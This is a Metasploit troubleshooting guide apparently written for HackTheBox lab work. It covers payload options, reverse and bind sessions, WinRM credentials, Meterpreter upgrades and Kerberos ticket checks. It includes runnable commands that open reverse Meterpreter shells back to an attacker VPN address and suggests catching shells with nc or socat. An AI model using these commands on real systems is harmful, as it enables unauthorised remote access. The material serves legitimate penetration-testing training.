Troubleshooting

When Metasploit work stalls, check the session, reachability, options, and assumptions about the OS and architecture.

Unclear module options

show options
show advanced
show targets
show payloads
info -d
show missing

After selecting a target, show payloads filters the payloads available for that target. Option names and defaults can change between versions, so check them on first use.

Failure involving the SESSION option

Local exploits and post modules often require SESSION (singular).

sessions -l
run verbose=true session=3

Passing the plural form, as in run sessions=3, may raise Msf::OptionValidateError.

No reverse session connects back

Check LHOST first. If the VPN interface’s IP address has changed or you selected another interface, the handler may start without receiving a session.

run verbose=true lhost=10.10.16.10 lport=4444
jobs -l
sessions -l

Check:

• Can the target reach LHOST:LPORT?
• Is LHOST set to the HTB VPN IP address, such as the one on tun0?
• Is another process or handler using the port?
• For a staged payload, does the host used to fetch the stage point to the correct interface?

Fetch payloads may expose FETCH_SRVHOST, FETCH_SRVPORT, and FETCH_WRITABLE_DIR. Check the path by which the target fetches from Kali and a writable directory on the target.

Bind shell or bind Meterpreter will not connect

With a bind payload, the target listens and Kali connects to it.

Check:

• Can Kali reach the target’s bind port?
• Is Windows Firewall or a local firewall blocking inbound connections?
• Can the listening port be reached through NAT or from another network segment?
• Are the handler’s RHOST and LPORT correct?

If the target cannot be reached this way, switching to a reverse payload may be faster.

Correct SSH / WinRM credentials but no session

Successful authentication and session creation are separate. A session is not created if CreateSession is disabled.

show options
run verbose=true createsession=true
sessions -l

WinRM often fails because of the domain setting.

run verbose=true domain=. rport=5985 ssl=false

For AD domain credentials, set DOMAIN to the appropriate NetBIOS name or FQDN. HTTPS WinRM normally uses RPORT 5986 and SSL true.

Meterpreter shell -t / shell -it fails

The regular shell may work even when a PTY shell exits with errors like these:

[-] core_channel_write: Operation failed: 32
[-] core_channel_write: Operation failed: 9

32 means EPIPE and 9 means EBADF. This is especially common with mettle (when sysinfo reports a BuildTuple of *-linux-musl). features is a command for msfconsole.

If you need vim or tmux, receive a separate reverse shell with socat or nc on the attacker machine and make it a full TTY. See Fully Interactive TTY for the steps.

shell_to_meterpreter fails after misidentifying the OS

An incorrect OS or architecture detection can prevent an upgrade. Specify the payload and platform explicitly.

run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=true

For Windows:

run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=true

Keep the original SSH or shell session open as a recovery path if the upgrade fails.

Local exploit reports vulnerability but opens no session

If check succeeds but no session connects back, check the handler’s LHOST, payload architecture, writable location, and fetch method.

1. Check the correct Meterpreter or shell session ID with sessions -l.
2. Check SESSION, LHOST, and payload options with show options.
3. Specify it as a runtime argument, for example run verbose=true lhost=<tun0-vpn-address>.
4. Match Linux or Windows, x64 or x86, and staged or stageless payloads to the target.
5. Check that FETCH_WRITABLE_DIR is writable and FETCH_COMMAND exists on the target.

Cannot connect to the database

db_status

msfdb status
msfdb start

db_connect -y ~/.msf4/database.yml
db_status

You may think you switched workspaces while still querying default, so check workspace too.

Before working with tickets

sessions -i 1
shell
klist

Look for:

• Is a TGT present in the current logon session?
• Is a TGS for the target service cached?
• The Client, Server, expiration time, and encryption type.
• Time differences between the DC and endpoint, name resolution, and SPN consistency.